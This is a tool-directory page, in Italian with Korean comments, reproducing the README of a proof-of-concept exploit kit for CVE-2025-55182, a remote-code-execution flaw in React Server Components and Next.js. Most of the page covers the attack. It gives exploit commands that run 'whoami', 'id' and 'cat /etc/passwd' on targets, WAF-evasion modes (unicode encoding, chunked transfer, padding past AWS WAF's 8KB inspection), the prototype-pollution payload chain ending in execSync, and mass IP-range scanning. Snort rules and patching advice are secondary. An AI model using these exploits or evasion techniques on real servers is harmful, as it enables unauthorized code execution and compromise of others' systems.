Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-POC — CVE-2025-55182-POC | Kitploit
Strumenti/GitHubGitHub/zxz3650/cve-2025-55182-poc
Analisi delle VulnerabilitàExploitEvasione IDS/IPSSfruttamento di Applicazioni WebBypass WAFPenetration TestingSviluppo Payload
GitHubzxz3650/cve-2025-55182-poc

CVE-2025-55182-POC

CVE-2025-55182-POC

Vedi Repository
18 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 POC & Detection

Raccolta di strumenti per l'exploit e il rilevamento della vulnerabilità di deserializzazione non sicura dei React Server Components (RSC)

Informazioni sulla vulnerabilità

  • CVE-ID: CVE-2025-55182
  • Versioni interessate: React 19.x, Next.js 15.x/16.x (con App Router)
  • Vettore d'attacco: RCE tramite inquinamento del prototipo durante la deserializzazione del protocollo RSC Flight
  • Livello di rischio: Critico (CVSS 10.0)

📦 Componenti

1. Ambiente vulnerabile (Docker)

  • docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc
  • vulnerable-app/ - Codice Server Action vulnerabile

2. Strumento di exploit

  • exploit_advanced.py - Supporto a tecniche di attacco multiple (Basic/Advanced/Chunked/Oversize)

3. Scanner di vulnerabilità

  • rsc_vulnerability_checker_multi.py - Strumento di diagnosi delle vulnerabilità multi-target

4. Regole di rilevamento IDS

  • rules_priority_based - Ruleset di rilevamento basato sulle priorità di Snort

🚀 Avvio rapido

1. Configurazione dell'ambiente vulnerabile

root@kitploit:~
cd vulnerable-app
docker-compose up -d
# http://localhost:3000 접속 확인

2. Diagnosi della vulnerabilità

root@kitploit:~
# 단일 URL 테스트
python3 rsc_vulnerability_checker_multi.py http://localhost:3000

# 여러 URL 배치 스캔
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# IP 범위 스캔
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20

# 파일에서 읽기
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv

3. Esecuzione dell'exploit

root@kitploit:~
# 기본 공격
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# 고급 공격 (프로토타입 체인 + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced

# WAF 우회 - Unicode 인코딩
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass

# WAF 우회 - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked

# WAF 우회 - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536

# 모든 기법 순차 시도
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v

4. Test di rilevamento di rete

root@kitploit:~
# 공격 트래픽 캡처
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump

# Snort로 분석
snort -c snort.conf -r attack.pcap -A console -k none

Dettagli delle tecniche di exploit

Basic Mode

Invio diretto del payload RSC Flight

root@kitploit:~
# Server Action 직접 호출
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>

["$@1",["$","$L2",null,{...}]]

Advanced Mode

RCE tramite inquinamento del prototipo (Prototype Pollution)

root@kitploit:~
// 핵심 원리
{
  "then": "$1:__proto__:then",           // Chunk.prototype.then 트리거
  "_response": {                          // fake response 주입
    "_formData": {...},
    "_prefix": ""
  },
  "$1:constructor:constructor": Function  // Function 생성자 접근
}

Catena d'attacco:

  1. Impostazione di Chunk.prototype.then tramite l'inquinamento di __proto__
  2. Controllo di FormData tramite l'iniezione dell'oggetto _response
  3. Il gestore $B chiama response._formData.get(id)
  4. Accesso a Function tramite la catena constructor:constructor
  5. Esecuzione di process.mainModule.require('child_process').execSync(cmd)

Chunked Mode

Distribuzione dei pattern tramite Transfer-Encoding

root@kitploit:~
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked

10
["$@1",["$","
15
$L2",null,{"then
...
  • Bypass del pattern matching del WAF (frammentazione delle parole chiave)
  • Non ispezionabile con un singolo buffer

Oversize Mode

Bypass del limite di dimensione di AWS WAF

root@kitploit:~
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: 처음 8KB만 검사
# 실제 공격 코드를 8KB 이후에 배치

📊 Priorità delle regole di rilevamento

Regole P0 (SID 2000xxx) - blocco immediato

  • process.mainModule.require + child_process + execSync
  • __proto__ + resolved_model + modulo RCE
  • Accesso a /etc/passwd, /etc/shadow, .ssh/id_rsa

📋 Requisiti

Obbligatori

  • Docker & Docker Compose
  • Python 3.8+
  • Libreria requests
    root@kitploit:~
    pip install requests
    

Opzionali (per i test di rilevamento)

  • Snort 2.9+
  • tcpdump

🔍 Utilizzo dello scanner di vulnerabilità

Utilizzo di base

root@kitploit:~
# 단일 URL
python3 rsc_vulnerability_checker_multi.py http://target.com

# 복수 URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

Utilizzo avanzato

root@kitploit:~
# IP 범위 스캔 (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000

# IP 범위 스캔 (하이픈)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50

# 파일 입력/출력
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv

# Verbose 모드
python3 rsc_vulnerability_checker_multi.py http://target.com -v

Formato di output

root@kitploit:~
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout

🎯 Opzioni dello strumento di exploit

Modalità di attacco

  • --basic: Invio diretto del payload RSC Flight
  • --advanced: Catena di prototipi + tecnica thenable
  • --chunked: Invio frammentato tramite Transfer-Encoding
  • --oversize <size>: Payload oversize (predefinito: 65536 byte)
  • --all: Tenta tutte le tecniche in sequenza

Bypass WAF

  • --waf-bypass: Codifica Unicode (constructor → \u0063onstructor)
  • --chunked: Distribuzione dei pattern
  • --oversize: Bypass del limite di dimensione di AWS WAF

Altro

  • -v, --verbose: Output dettagliato
  • -t, --timeout: Timeout della richiesta (predefinito: 10 secondi)

🛡 Difesa e rilevamento

Livello applicativo

  1. Aggiornamento di React 19.0.0-rc → 19.0.0 (stable)
  2. Aggiornamento di Next.js 15.0.3 → 15.1.0+
  3. Rafforzamento della validazione degli input delle Server Actions
  4. Disattivazione delle funzionalità experimental

Livello di rete

  1. Applicazione delle regole Snort (rules_priority_based)
  2. Politiche WAF:
    • Blocco della parola chiave __proto__
    • Blocco del pattern process.mainModule.require
    • Limitazione della dimensione del body POST (< 1MB)
  3. Rate Limiting (limitazione delle richieste Server Action)

Monitoraggio

root@kitploit:~
# Snort 실시간 모니터링
snort -c snort.conf -i eth0 -A console

# 로그 파일 분석
snort -c snort.conf -r network.pcap -A fast

Questo post non deve essere utilizzato per scopi diversi da ricerca, formazione e verifica diagnostica.

Scarica lo strumento